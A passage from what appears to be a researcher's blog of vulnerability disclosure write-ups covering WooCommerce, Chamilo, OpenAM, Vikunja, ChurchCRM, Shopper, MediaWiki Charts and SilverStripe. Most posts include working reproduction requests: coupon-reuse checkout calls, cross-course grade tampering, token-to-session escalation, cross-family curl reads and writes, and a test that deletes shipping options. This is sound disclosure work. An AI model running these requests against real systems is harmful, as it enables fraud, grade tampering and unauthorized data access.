/wp-json/wc/store/v1/checkout?billing_email=attacker@example.test Content-Type: application/json { "coupon_code": ["LIMIT1"], "billing_address": { ... }, "payment_method": "bacs" } ``` Each order gets created successfully because the coupon hasn't been exhausted yet. Save the `order_id`, `order_key`, and `billing_email` for each. ### Step 2: Someone else uses the coupon A legitimate customer comes along and completes a normal checkout with `LIMIT1`. The coupon's `usage_count` is now 1. The global limit is reached. A fresh checkout attempt with `LIMIT1` is correctly rejected: ```json { "code": "woocommerce_rest_cart_coupon_error", "message": "Usage limit for coupon \"limit1\" has been reached." } ``` WooCommerce is doing its job. The coupon is exhausted. ### Step 3: Pay the old draft orders Now here's where the bug lives. Remember those pre-staged draft orders from Step 1? They already have the coupon applied. The existing-order checkout endpoint lets you pay for them: ```http POST /wp-json/wc/store/v1/checkout/19?key=wc_order_tIFFUEeq38Bnv&billing_email=attacker@example.test Content-Type: application/json { "billing_address": { ... }, "shipping_address": { ... }, "payment_method": "bacs", "payment_data": [] } ``` Response: ```json { "order_id": 19, "status": "on-hold", "payment_result": { "payment_status": "success" } } ``` It works. The order goes through with the $10 discount. Do this for all three pre-staged orders. All of them succeed. ### Final state ```json { "code": "limit1", "usage_count": 4, "usage_limit": 1, "used_by": [ "b@example.test", "attacker@example.test", "attacker@example.test", "attacker@example.test" ] } ``` Usage limit: 1. Actual usage: 4. The attacker got $30 in unauthorized discounts. Scale this up with more pre-staged orders and higher-value coupons, and the financial impact grows. ## Why it happened The root cause is a validation gap between two checkout paths. The normal checkout flow calls `WC_Coupon_Data_Store_CPT::check_and_hold_coupon()`, which handles global usage-limit enforcement before payment. The existing-order payment path in `CheckoutOrder::get_route_post_response()` calls `validate_existing_order_before_payment()`, which runs: ```php $this->validate_coupons( $order, true ); ``` But `validate_coupons()` only runs: ```php array( 'validate_coupon_email_restriction', 'validate_coupon_usage_limit' ) ``` And `validate_coupon_usage_limit()` only checks the **per-user** limit: ```php $coupon_usage_limit = $coupon->get_usage_limit_per_user(); if ( 0 === $coupon_usage_limit ) { return; // no per-user limit set, skip validation } ``` For a coupon with only a global `usage_limit`, this validator returns without checking anything. The global usage-limit check that happens in the normal checkout path? It's completely skipped in the existing-order payment path. Two code paths, two different levels of validation. That's the bug. ## The report I submitted this to Automattic on HackerOne. The triage was a bit of a rollercoaster: 1. **May 23**: Submitted the report 2. **June 1**: Triaged as "Needs more info" and downgraded from High to Low severity 3. **June 1**: Provided screencast + raw HTTP evidence files 4. **June 30**: Asked for an update 5. **~August 13**: Resolved with a fix and $100 bounty The severity downgrade was fair. It's a local business logic bug, not remote RCE. But the $100 bounty for a clean logic bypass? I'll take it. ## Lessons learned **1. Check alternate code paths.** The main checkout flow was solid. But the existing-order payment path had a completely different validation chain. Always ask: "is there another way to reach the same endpoint?" **2. Business logic bugs are still bugs.** No fancy exploitation, no buffer overflows, no SQL injection. Just a coupon being used more times than it should be. Store owners care about their margins. **3. Guest checkout = wider attack surface.** No account required. No authentication needed. Just create draft orders as a guest and pay later. That's a pretty low bar for exploitation. **4. Small bounties add up.** $100 isn't life-changing, but it's $100 I didn't have before for ~2 hours of work. That's a solid hourly rate. ## Affected version - WooCommerce 10.7.0 - Other versions may be affected (not tested) ## Timeline - **2026-05-23**: Report submitted to Automattic - **2026-06-01**: Triaged, severity downgraded to Low - **2026-06-30**: Follow-up sent - **2026-08-13**: Resolved with fix + $100 bounty ## Reference - [HackerOne Report #3756197](https://hackerone.com/reports/3756197)

cross-course submission comment and grade tampering in chamilo

b4r — Sun, 02 Aug 2026 00:00:00 GMT

## TL;DR I reported **GHSA-8423-5658-789h** in **Chamilo LMS**. This was a broken object-level authorization issue in the assignment submission feedback API. An authenticated user with a basic `ROLE_USER` account could target an arbitrary `submissionId` in a `POST /api/c_student_publication_comments/upload` request and inject feedback onto another student's assignment. Even worse, if the request included grading parameters, the backend would overwrite the submission's score (`qualification`), record date, and stamp the attacker's user ID as the evaluator (`qualificator_id`). All without checking whether the attacker was enrolled in the target course or had teacher/grader permissions. ## The bug The vulnerable endpoint sat at: ```http POST /api/c_student_publication_comments/upload ``` The flow of the API logic looked like this: ```text POST payload with submissionId -> Backend loads target CStudentPublication by ID -> Creates CStudentPublicationComment on the loaded submission -> If qualification is present: -> updates $submission->setQualification(...) -> updates $submission->setQualificatorId(...) -> updates $submission->setDateOfQualification(...) -> Saves record to database ``` Notice what is missing between loading `CStudentPublication` and modifying it: ```text is the requesting user enrolled in the submission's course/session? is the requesting user a teacher or grader for that course? ``` Because those checks were missing, any valid session with `ROLE_USER` could interact with submissions belonging to completely unrelated courses and sessions. ## What an attacker could do An attacker registered as a regular student in Course A could issue a request targeting a submission in Course B: ```http POST /api/c_student_publication_comments/upload HTTP/1.1 Host: chamilo.local Authorization: Bearer Content-Type: application/json { "submissionId": 42, "comment": "Tampered feedback via API", "qualification": "100", "file": null } ``` When Chamilo processed this request: 1. A new feedback comment was appended to submission `42`. 2. The score on submission `42` was changed to `100`. 3. `qualificator_id` was updated to the attacker's user ID. 4. `date_of_qualification` was updated to the current timestamp. This gave a low-privileged user both a feedback injection vector and arbitrary grade manipulation across the entire LMS platform. ## Why it happened The endpoint loaded the `CStudentPublication` object directly from the database using the user-supplied `submissionId`. While authentication was verified (the user needed a valid JWT token), authorization was treated as binary ("is the user logged in?") rather than contextual ("is the user authorized to grade this specific submission in this specific course?"). In an LMS architecture, authorization must always be evaluated against the resource's parent scope (Course / Session / Group), not just global login status. ## The fix The fix requires enforcing object-level authorization on the loaded `CStudentPublication` record before performing any state changes or comment creations. The backend must verify: - The user has teacher/grader role within the specific course/session associated with the target submission. - Or if only adding comments, the user owns the submission or is an assigned instructor. Requests failing this check must be rejected immediately with `430` / `403 Forbidden`. ## Versions and details - Advisory: `GHSA-8423-5658-789h` - Package: `chamilo/chamilo-lms` - Affected: `<= 2.0.2` - Severity: `High` - Weakness: `CWE-862 (Missing Authorization)` - Credit: [baradika](https://github.com/baradika) ## Reference - [GHSA-8423-5658-789h Advisory](https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-8423-5658-789h)

cross-course blog api authorization bypass in chamilo

b4r — Sat, 01 Aug 2026 00:00:00 GMT

## TL;DR I reported **GHSA-438r-9jh4-mmfc** in **Chamilo LMS**. This was a broad object-level authorization bypass across the Blog API subsystem. Authenticated low-privileged users (`ROLE_USER`) could read, create, edit, and comment on blogs in courses they were not enrolled in. Because the API endpoints lacked course-level boundary checks, any self-registered student account could target another course's blog resources just by manipulating entity IDs. ## The bug Chamilo exposes several REST API endpoints for managing course blogs and posts (e.g. `c_blog`, `c_blog_post`, `c_blog_comment`, and related membership endpoints). The pattern across these endpoints was consistent: ```text Request to Blog API endpoint (e.g. /api/c_blogs/{id}) -> Authentication check passes (valid JWT token) -> API loads target Blog / Post object by ID -> Executes CRUD operation directly ``` There was no authorization voter or context check asking: > Is the current user enrolled in the course that owns this blog, and do they have permission to perform this action on this blog? Without that boundary, the ID parameters in the URL served as the only control. ## Impacted actions The missing authorization checks allowed an authenticated user outside the victim course or session to perform multiple operations: 1. **Read Private Blogs**: Fetch blog titles, posts, and internal course discussions from blogs in restricted courses. 2. **Modify Blog Settings**: Update blog metadata and configuration belonging to another course. 3. **Create Unauthorized Posts**: Inject new blog posts into another course's blog. 4. **Manipulate Blog Users**: Add users to or modify membership list of another course's blog. 5. **Inject Blog Comments**: Add comments onto posts in un-enrolled courses. This affected both the confidentiality of course blog discussions and the integrity of blog contents across the LMS. ## Attack scenario An attacker with a standard student account registers on a public Chamilo instance. They obtain an API token and begin querying the blog endpoints: ```http GET /api/c_blogs/15 HTTP/1.1 Host: chamilo.local Authorization: Bearer ``` Even if blog `15` belongs to a private course the attacker never joined, the API returns `200 OK` with the full blog object and post history. To create an unauthorized post on that victim blog: ```http POST /api/c_blog_posts HTTP/1.1 Host: chamilo.local Authorization: Bearer Content-Type: application/json { "blog": "/api/c_blogs/15", "title": "Unauthorized Post", "content": "

Content injected across course boundary

" } ``` The server accepts the post and links it to blog `15`. ## The fix The fix involves introducing strict object-level authorization on all blog API endpoints: - Verify that the target blog entity belongs to a course/session the user is actively enrolled in. - For write operations (modifying blog configuration, creating posts, adding users), enforce that the user holds the appropriate role (e.g. course teacher/admin or blog manager). ## Versions and details - Advisory: `GHSA-438r-9jh4-mmfc` - Package: `chamilo/chamilo-lms` - Affected: `<= 2.0.2` - Severity: `High` - Weakness: `CWE-862 (Missing Authorization)` - Credit: [baradika](https://github.com/baradika) ## Reference - [GHSA-438r-9jh4-mmfc Advisory](https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-438r-9jh4-mmfc)

openam webauthn deserialization through a shallow filter

b4r — Fri, 24 Jul 2026 00:00:00 GMT

## TL;DR I was credited as one of the reporters for **CVE-2026-62263** in **OpenAM**. The affected component was: ```text org.openidentityplatform.openam:openam-auth-webauthn ``` The issue was a Java deserialization bug in the WebAuthn authentication flow. The previous fix for `GHSA-6c99-87fr-6q7r` wrapped WebAuthn authenticator deserialization in an `ObjectInputFilter`. That filter was intended to allow only `AuthenticatorImpl`. The problem was the filter logic around serialization depth. It allowed nested objects at stream depth greater than `1`, so the allowlist only meaningfully constrained the root object. Everything deeper in the object graph was left unchecked. ## The vulnerable shape The advisory describes the filter behavior like this: ```text depth == 1 -> root concrete class depth > 1 -> nested object graph ``` The filter allowed the nested graph too early. In simplified form, the bug looked like this: ```java if (filterInfo.depth() > 1) { return ObjectInputFilter.Status.ALLOWED; } if (filterInfo.serialClass() == AuthenticatorImpl.class) { return ObjectInputFilter.Status.ALLOWED; } return ObjectInputFilter.Status.REJECTED; ``` That policy is not a real allowlist for the full stream. It only checks the root class properly. An attacker can keep the root object as `AuthenticatorImpl`, then place a gadget chain inside the nested object graph. The filter accepts the nested classes because their depth is greater than `1`. ## Why the depth check matters Java serialization filters are consulted for classes in the object graph, not only for the first object. That means a deserialization filter has to make a decision for every class that appears in the stream. If the filter says "allow everything below the root," then a root allowlist does not protect the nested state. For this bug, the attacker-controlled stream could be structured as: ```text AuthenticatorImpl └── nested object └── gadget chain object └── readObject / readResolve side effect ``` The cast to `AuthenticatorImpl` happens after deserialization. The dangerous part is that gadget code can execute during `readObject()` or `readResolve()` before the application gets a chance to cast the object or verify the WebAuthn assertion. ## Reachability The advisory states that the sink is reachable before authentication through an attacker-chosen `userHandle`. That is the important boundary. The issue is not only "unsafe deserialization exists somewhere in code." It is reachable from the WebAuthn authentication path before the attacker has an authenticated session. The practical chain is: ```text attacker-controlled userHandle -> WebAuthn authenticator lookup / deserialization -> ObjectInputFilter checks root AuthenticatorImpl -> nested gadget graph is allowed by depth rule -> readObject() / readResolve() executes during deserialization ``` Remote code execution depends on a usable gadget being present on the classpath, but the filter bug is what re-opens that path. ## Relation to the earlier advisory This bug is related to the earlier WebAuthn deserialization advisory: ```text GHSA-6c99-87fr-6q7r ``` The earlier fix added filtering around deserialization. `CVE-2026-62263` is about the filter being too shallow. It restricted the top-level object but did not enforce the same rule on the rest of the object graph. That distinction matters because allowlisting a root type is not enough when the root object can carry attacker-controlled nested state. ## Impact The public advisory classifies this as: - CWE: `CWE-502` - Severity: `High` - Impact: remote code execution when a gadget is available on the classpath The affected flow is pre-authentication WebAuthn processing. The exploitability still depends on a compatible gadget chain, but the security boundary that was supposed to stop nested classes was not actually enforcing a nested-class allowlist. ## Versions The public advisory lists: - CVE: `CVE-2026-62263` - GHSA: `GHSA-gf8h-gq53-288j` - Package: `org.openidentityplatform.openam:openam-auth-webauthn` - Severity: `High` - CWE: `CWE-502` - Affected: `<= 16.1.1` - Patched: `16.1.2` ## Reference - [GHSA-gf8h-gq53-288j / CVE-2026-62263](https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-gf8h-gq53-288j) - [Original advisory GHSA-6c99-87fr-6q7r](https://github.com/advisories/GHSA-6c99-87fr-6q7r)

turning a scoped vikunja token into a normal session

b4r — Fri, 24 Jul 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-57458** in **Vikunja**. The issue was an authentication-context mismatch between scoped API tokens and the OAuth authorization-code flow. A token scoped only to: ```json {"oauth":["authorize"]} ``` could call the OAuth authorization endpoint, receive an authorization code, exchange that code for a normal bearer JWT plus refresh token, and then use those minted credentials on routes outside the original API-token scope. The original scoped token could not directly access normal routes like `/api/v1/user`, but the OAuth token minted from it could. ## The boundary that failed Scoped API tokens are supposed to carry a permission boundary. In this case, the token was intentionally narrow: ```text oauth.authorize only ``` That should mean the token can do exactly that one OAuth-related action and nothing else. The problem was that `/api/v1/oauth/authorize` accepted API-token-authenticated requests as a valid resource-owner context for issuing an OAuth authorization code. Once that code existed, `/api/v1/oauth/token` exchanged it into regular session credentials. Those new credentials were not tied back to the original API-token permissions. ## Affected flow The vulnerable flow was: ```text scoped API token -> POST /api/v1/oauth/authorize -> OAuth authorization code -> POST /api/v1/oauth/token -> normal bearer JWT + refresh token -> access non-OAuth routes outside the original token scope ``` The affected package was: ```text code.vikunja.io/api ``` Affected version: ```text 2.3.0 ``` Patched version: ```text 2.4.0 ``` ## Relevant code paths The advisory calls out these areas: ```text pkg/routes/routes.go pkg/models/api_routes.go pkg/routes/api_tokens.go pkg/user/user.go pkg/modules/auth/oauth2server/authorize.go pkg/modules/auth/oauth2server/token.go ``` The important part is not one single line. The issue came from how those pieces composed: - the route group accepted scoped API tokens - the API-token middleware placed `api_token` and `api_user` into request context - the user helper treated `api_user` as the authenticated current user - the OAuth authorize handler used that current user to issue an authorization code - the token endpoint exchanged the code for unrestricted session credentials That created a bridge from a scoped token into a normal OAuth session. ## Negative control The scoped token could not access the normal user route directly. ```http GET /api/v1/user Authorization: Bearer ``` Observed response: ```http 401 Unauthorized ``` Response body: ```json {"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"} ``` That negative control matters because it shows the token scope was not simply ignored everywhere. The bypass happened through the OAuth minting path. ## Exploit path First, the scoped token was used to request an OAuth authorization code: ```http POST /api/v1/oauth/authorize Authorization: Bearer Content-Type: application/json ``` Body: ```json { "response_type": "code", "client_id": "vikunja", "redirect_uri": "vikunja-flutter://callback", "code_challenge": "", "code_challenge_method": "S256" } ``` Observed response: ```http 200 OK ``` Response body: ```json { "code": "", "redirect_uri": "vikunja-flutter://callback", "state": "" } ``` Then the authorization code was exchanged for normal session credentials: ```http POST /api/v1/oauth/token Content-Type: application/json ``` Body: ```json { "grant_type": "authorization_code", "code": "", "client_id": "vikunja", "redirect_uri": "vikunja-flutter://callback", "code_verifier": "" } ``` Observed response: ```http 200 OK ``` Response body: ```json { "access_token": "", "token_type": "bearer", "expires_in": 600, "refresh_token": "" } ``` At that point, the attacker no longer had only a scoped API token. They had a normal OAuth access token and refresh token for the same user. ## Scope bypass confirmation The minted OAuth access token could access routes the original scoped token could not. ```http GET /api/v1/user Authorization: Bearer ``` Observed response: ```http 200 OK ``` Additional check: ```http GET /api/v1/projects Authorization: Bearer ``` Observed response: ```http 200 OK ``` That is the security issue: the original token had a narrow permission set, but the derived credentials did not inherit that restriction. ## Impact A scoped API token with only `oauth.authorize` could be converted into normal session credentials for the same user. That bypasses the intended API-token permission boundary. The confirmed impact was: - access to normal user/session routes outside the token's declared scope - access to project routes using the minted OAuth bearer token - refresh-token issuance from a scoped API-token starting point The advisory did **not** validate: - cross-user access - admin privilege escalation - access to another account That boundary is important. This is a same-user scope bypass, not an account takeover across users. ## Expected behavior An API token with limited permissions should not be able to mint broader credentials than its declared scope. For this flow, `/api/v1/oauth/authorize` should require an authentication context appropriate for OAuth authorization-code issuance, such as a normal user session. API-token-authenticated requests should not be accepted as a resource-owner session for creating unrestricted OAuth authorization codes. ## Severity and versions The public advisory lists: - CVE: `CVE-2026-57458` - GHSA: `GHSA-v3p6-34mc-hj7v` - Severity: `High` - CVSS: `8.1` - Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` - CWE: `CWE-269` - Affected: `2.3.0` - Patched: `2.4.0` ## Reference - [GHSA-v3p6-34mc-hj7v / CVE-2026-57458](https://github.com/go-vikunja/vikunja/security/advisories/GHSA-v3p6-34mc-hj7v)

cross-family access in churchcrm

b4r — Fri, 03 Jul 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-58410** in **ChurchCRM**. This one was an object-level authorization bug in family-scoped API endpoints. A low-privileged authenticated user with `EditSelf` could supply another family's `familyId` and access data outside their own family scope. If the same user also had `Notes` permission, they could go one step further and create notes on another family's record. So the bug was not just read-only IDOR. It also had an integrity side. ## The bug The affected package was: ```text churchcrm/crm ``` The vulnerable pattern was simple: ```text authenticated user -> has EditSelf -> changes familyId in the API route -> backend loads that family by ID -> no object-level family ownership check -> unrelated family record is returned or modified ``` That breaks the meaning of `EditSelf`. If a user is only allowed to access their own family record, then the route cannot trust `familyId` just because the request is authenticated. ## Affected endpoints The advisory lists these runtime-confirmed endpoints: ```http GET /api/family/{familyId} GET /api/family/{familyId}/notes POST /api/family/{familyId}/note GET /api/timeline/family/{familyId} ``` Those are all family-scoped routes. The problem was that the scope came from the URL parameter, not from an authorization decision tied to the current user. ## Why it worked ChurchCRM already had person-level object authorization through a `canEditPerson()` style check. The family API routes did not enforce the equivalent family-level check. So the backend answered the wrong question: ```text is this user authenticated and allowed to use self-edit style functionality? ``` Instead, it needed to answer: ```text is this requested familyId actually inside this user's allowed family scope? ``` That missing second question is the whole bug. ## Repro setup The test setup was: - attacker family: `fam_ID = 200` - victim family: `fam_ID = 100` - attacker user linked to family `200` Attacker permissions: - `EditSelf = true` - `Notes = true` - `Admin = false` The attacker used their own API key in the `x-api-key` header. ## Reading another family The attacker could request the victim family directly: ```bash curl -i \ -H 'x-api-key: attacker-key' \ 'http://127.0.0.1:8080/api/family/100' ``` Observed result: ```text 200 OK victim family data returned ``` Expected result: ```text 403 Forbidden ``` The same pattern worked for notes: ```bash curl -i \ -H 'x-api-key: attacker-key' \ 'http://127.0.0.1:8080/api/family/100/notes' ``` and for timeline data: ```bash curl -i \ -H 'x-api-key: attacker-key' \ 'http://127.0.0.1:8080/api/timeline/family/100' ``` Both should have stayed inside the attacker's own family scope. They did not. ## Writing to another family The more interesting part was note creation. With `Notes` permission, the attacker could create a note on the victim family: ```bash curl -i \ -H 'x-api-key: attacker-key' \ -H 'Content-Type: application/json' \ -X POST \ --data '{"text":"Unauthorized family note via runtime test","private":false}' \ 'http://127.0.0.1:8080/api/family/100/note' ``` Observed result: ```text 201 Created note attached to victim family ``` That is why I do not treat this as only "someone can view another profile." The route also allowed modifying another family's record. ## Database proof The unauthorized note creation was confirmed in the database: ```text nte_ID nte_fam_ID nte_Text nte_EnteredBy 1000 100 Victim family public note 1 1001 100 Unauthorized family note via runtime test 200 ``` That second row is the important proof. The attacker user from family `200` created a note attached to family `100`. So the issue was not limited to a response rendering mistake. The write happened. ## Impact A low-privileged authenticated user could access unrelated congregation records. The exposed data could include: - family name - address - email - phone number - family member list - birthdays - family notes - timeline entries And with note access, the same user could create notes on another family. That makes the impact both confidentiality and integrity: ```text read another family's private profile and activity data write a note onto another family's record ``` ## Severity and versions The public advisory lists: - CVE: `CVE-2026-58410` - GHSA: `GHSA-jjcj-h3cm-p7x7` - Severity: `High` - CVSS: `7.1` - Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N` - CWE: `CWE-639` - CWE: `CWE-862` - Affected: `7.3.3` - Patched: `7.4.0` ## Reference - [GHSA-jjcj-h3cm-p7x7 / CVE-2026-58410](https://github.com/ChurchCRM/CRM/security/advisories/GHSA-jjcj-h3cm-p7x7)

breaking shopper checkout from settings

b4r — Thu, 02 Jul 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-56826** in **Shopper**. This one was a missing function-level authorization bug in the Settings area. A low-privileged authenticated user only needed the coarse: ```text access_setting ``` permission. They did **not** need to be admin, and they did **not** need granular `delete_*` or `edit_*` permissions. From there, they could invoke destructive Livewire / Filament component actions directly and delete commerce configuration used by checkout. The affected package was: ```text shopper/framework ``` ## The bug The issue lived in four Settings components. The parent Settings pages checked whether the user could access settings at all, but the child Livewire components exposed destructive actions without their own server-side authorization. The affected components were: | Component | Action | | --- | --- | | `Settings\Zones\ZoneShippingOptions` | delete carrier / shipping-rate options | | `Settings\Zones\Detail` | delete a shipping zone | | `Settings\Taxes\Detail` | delete a tax zone | | `Settings\Taxes\TaxRates` | delete a tax rate | The important part is that these actions did not declare an enforced `->authorize()` guard. So the authorization question became too broad: ```text can this user access settings? ``` when it should have been: ```text can this user delete this tax/zone/shipping configuration? ``` Those are not the same permission. ## The clearest sink The cleanest example was `ZoneShippingOptions::deleteAction()`. The action accepted an id from the Livewire action arguments and deleted the matching `CarrierOption`: ```php // packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php public function deleteAction(): Action { return Action::make('delete') ->requiresConfirmation() // no ->authorize(), no enforced ->visible() ->action(function (array $arguments): void { CarrierOption::query()->find($arguments['id'])->delete(); }); } ``` That is a bad shape for a destructive action. The id came from the client-side action arguments, and the server-side action did not verify whether the current user had authority to delete carrier options. Confirmation UI does not fix that. If the Livewire endpoint accepts the action, the server still has to authorize it. ## Why it worked The Settings pages mounted these child components after the broader settings access check. That meant the attacker had enough permission to reach the area: ```text access_setting = true ``` But they did not have the destructive permissions that should have protected these actions: ```text delete_zones = false edit_zones = false delete_taxes = false edit_taxes = false ``` The problem was that the vulnerable components never asked those questions. The advisory also notes that this was inconsistent with other areas of the admin. Some existing components already used explicit authorization on mutating actions, for example order mutation paths guarded by `edit_orders`. That made the bug easier to trust: the framework could enforce action authorization when the component declared it. These components simply did not declare it. ## Runtime proof The reproducer used the project's own test harness with Pest, Orchestra Testbench, SQLite, Livewire, and Filament. The attacker was: - authenticated - non-admin - granted only `access_setting` - not granted delete or edit permissions for the target resource The core proof looked like this: ```php use Livewire\Livewire; use Shopper\Core\Models\{CarrierOption, Zone}; use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions; use Tests\Core\Stubs\User; uses(Tests\Admin\TestCase::class); it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void { $attacker = User::factory()->create(); $attacker->givePermissionTo('access_setting'); $this->actingAs($attacker, config('shopper.auth.guard')); $zone = Zone::factory()->create(); $option = CarrierOption::factory()->create(['zone_id' => $zone->id]); Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id]) ->callAction('delete', arguments: ['id' => $option->id]); expect(CarrierOption::query()->find($option->id))->toBeNull(); }); ``` The result was direct: ```text Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false [BEFORE] CarrierOption count = 1 [ATTACK] callAction('delete', id=1) on ZoneShippingOptions [AFTER ] CarrierOption count = 0 ``` So this was not just a UI visibility issue. The row was actually deleted. ## Negative control The useful negative control was an unrelated admin action that already had proper authorization. The same harness correctly denied `Order/Detail::markPaid` for a user lacking: ```text edit_orders ``` That matters because it shows the harness was not bypassing authorization globally. Authorization worked when a component declared it. The vulnerable Settings components just had no function-level authorization on their destructive actions. ## Impact This was not about stealing customer data. It was about damaging live commerce configuration. A low-privileged staff account, or a compromised staff account with only Settings access, could sabotage checkout by deleting: - a `CarrierOption`, making a shipping rate disappear - a `Zone`, breaking country to carrier / payment-method / currency mapping - a `TaxZone`, breaking tax-zone resolution - a `TaxRate`, corrupting tax calculation Those records sit directly on the checkout path. So the practical effect is integrity and availability damage: ```text shipping options disappear payment methods can stop matching a region tax calculation becomes wrong or incomplete checkout becomes unreliable ``` That is enough to hurt a storefront even without confidentiality impact. ## Secondary issue While reproducing the bug, there was also a smaller issue in: ```text Zones\Detail::deleteAction()->after() ``` It called: ```php $this->reset('zone') ``` but `zone` was a `#[Computed]` method, not a property. So the component could throw a `ReflectionException` after the row had already been deleted. That was not the main security issue, but it was worth fixing near the same code path. ## Fix direction The fix direction is simple: destructive actions need server-side authorization at the action level. For example: ```php public function deleteAction(): Action { return Action::make('delete') ->authorize('access_setting') // or better: granular delete_zones / delete_taxes ->requiresConfirmation(); } ``` The better version is to add granular permissions for the resources themselves, so `access_setting` does not become a catch-all permission for modifying commerce-critical configuration. At minimum, each `delete` and `edit` action in the affected components needs an enforced authorization check. ## Severity and versions The public advisory lists: - CVE: `CVE-2026-56826` - GHSA: `GHSA-f7h9-qv4x-9x57` - Severity: `Moderate` - CVSS: `5.4` - Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L` - CWE: `CWE-862` - Affected: `>= 2.0.0, < 2.9.2` - Patched: `2.9.2` ## Reference - [GHSA-f7h9-qv4x-9x57 / CVE-2026-56826](https://github.com/shopperlabs/shopper/security/advisories/GHSA-f7h9-qv4x-9x57)

a tooltip xss in wikimedia charts

b4r — Thu, 02 Jul 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-14358** in Wikimedia's **MediaWiki Charts Extension**. This one was a stored XSS in chart tooltips. The short version: - attacker-controlled data lived in a `Data:*.tab` field title - that title became the pie slice name - the pie tooltip formatter returned it into the tooltip output - ECharts rendered the tooltip in HTML mode - the field title could become active markup when the tooltip appeared The public task title says the bug pretty directly: ```text Stored XSS in Wikimedia Chart pie tooltip via Data:*.tab field title ``` The sink was not the chart body itself. It was the tooltip path. ## Where the value landed The relevant code was in the Charts extension client-side renderer: ```text resources/ext.chart/render.js ``` The pie chart tooltip path used a custom formatter: ```js tooltipSpec.formatter = ( params ) => { const value = yFormatter( params.value ); const percentage = params.percent !== null ? ` (${ formatPercent( params.percent / 100 ) })` : ''; return ` ${ params.marker } ${ params.name }: ${ value }${ percentage }`; }; ``` The dangerous part was `params.name`. For the affected chart shape, that value could be influenced by the field title from a `Data:*.tab` page. If the title contained HTML, the tooltip formatter treated it like normal text, but the tooltip renderer could still interpret the returned string as HTML. That is the mismatch: ```text stored data title -> chart series item name -> params.name -> tooltip formatter string -> HTML tooltip renderer ``` ## Why it worked The formatter looked harmless because it was just building a tooltip label. But tooltip formatters are still output sinks. Returning a string from the formatter is only safe if the renderer treats the string as text, or if every user-controlled piece has already been escaped before it reaches the formatter. In this case, the field title was not safe enough for an HTML tooltip context. So a payload in the field title could survive until the user interacted with the pie chart and caused the tooltip to render. ## The patch The public Gerrit change is small, but it points directly at the vulnerable rendering mode. The patch added one line to the tooltip specification: ```js const tooltipSpec = { renderMode: 'richText', valueFormatter: yFormatter }; ``` That changes the tooltip rendering mode away from HTML. So the fix was not a huge sanitizer rewrite. It was making the tooltip renderer use a mode where the tooltip content is treated as rich text instead of live HTML. The Gerrit change was: ```text SECURITY: Use richText render mode in tooltipFormatter ``` with the linked bug: ```text Bug: T430548 Change-Id: Ibdaa7c852ae83f562e84dddc9c96ad64e2152210 ``` ## Impact The CVE record classifies this as: - CWE: `CWE-79` - CAPEC: `CAPEC-63` - Severity: `Medium` - CVSS 4.0 score: `6.9` - Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L` The confirmed issue was stored XSS in the Charts extension tooltip path. In practical terms, malicious chart data could cause JavaScript execution for users who viewed or interacted with the affected chart. ## Versions The CVE record lists the affected product as: ```text MediaWiki - Charts Extension ``` Affected versions were before the patched release lines: ```text 1.43.9 1.44.6 1.45.4 ``` So the safe answer is to update the Charts extension through the fixed MediaWiki release line. ## Credit note This was reported under my name: ```text Fase Rais Baradika / @Baradika ``` The public Phabricator task also notes the report context and CCs `@Baradika` as the author. ## Reference - [CVE-2026-14358](https://www.cve.org/CVERecord?id=CVE-2026-14358) - [Wikimedia Phabricator T430548](https://phabricator.wikimedia.org/T430548) - [Gerrit patch query for Ibdaa7c852ae83f562e84dddc9c96ad64e2152210](https://gerrit.wikimedia.org/r/q/Ibdaa7c852ae83f562e84dddc9c96ad64e2152210)

a stored xss in silverstripe page breadcrumbs

b4r — Wed, 24 Jun 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-54717** in **SilverStripe CMS**. This one was a stored XSS in the CMS admin interface, specifically in the page list view breadcrumbs. The vulnerable area was: ```http /admin/pages/listview ``` An attacker with permission to create or edit pages could place HTML or JavaScript in a parent page title or menu title, then get that payload rendered inside the breadcrumb trail for child pages. So the bug was not in the current page title itself. It was in the ancestor breadcrumb path. ## The bug The report path was pretty straightforward. When the page list view was built, ancestor page titles were gathered and concatenated into a breadcrumb string: ```php $pages = $item->getAncestors(); $pageNames = []; foreach ($pages as $page) { $pageNames[] = $page->MenuTitle ?: $page->Title; } $breadcrumbs = implode('/', $pageNames); return $title . sprintf( '

', $breadcrumbs ); ``` That is the whole issue. The current page title had already gone through the safer rendering path, but the ancestor titles used for the breadcrumb string were inserted into an HTML fragment without proper escaping first. So if an attacker controlled one of those parent titles, the breadcrumb renderer would happily turn it back into live HTML in the CMS interface. ## Why it worked The attacker-controlled value could come from either: - `MenuTitle` - or fallback `Title` And because the breadcrumb string was built with `implode('/')` and then interpolated directly into: ```php

``` the output path treated the whole breadcrumb string as already-safe HTML. That is exactly the kind of bug that feels small in code review until you remember that page titles are just user-controlled content with a nicer label. ## Repro shape The payload from the report was simple: ```html ``` The repro flow was: 1. log in as a CMS user who can create or edit pages 2. create or edit a parent page 3. set `Title` or `MenuTitle` to the payload above 4. create a child page under that parent 5. visit the list view for that parent Example target: ```http /admin/pages/listview?ParentID= ``` At that point, the breadcrumb trail would render the attacker-controlled HTML and execute it in the CMS admin context. ## Impact The original report angle was the one I care about most here: editor-to-admin abuse inside the CMS. Once JavaScript runs in that origin, the attacker can potentially: - execute privileged CMS actions on behalf of the victim - modify or publish content - access same-origin admin data - exfiltrate CSRF tokens - forge follow-up requests The public advisory ended up describing the impact more narrowly as: > Page breadcrumbs in the CMS are vulnerable to XSS when viewed using the page list view That is still the same bug, just phrased more conservatively. ## Public advisory status 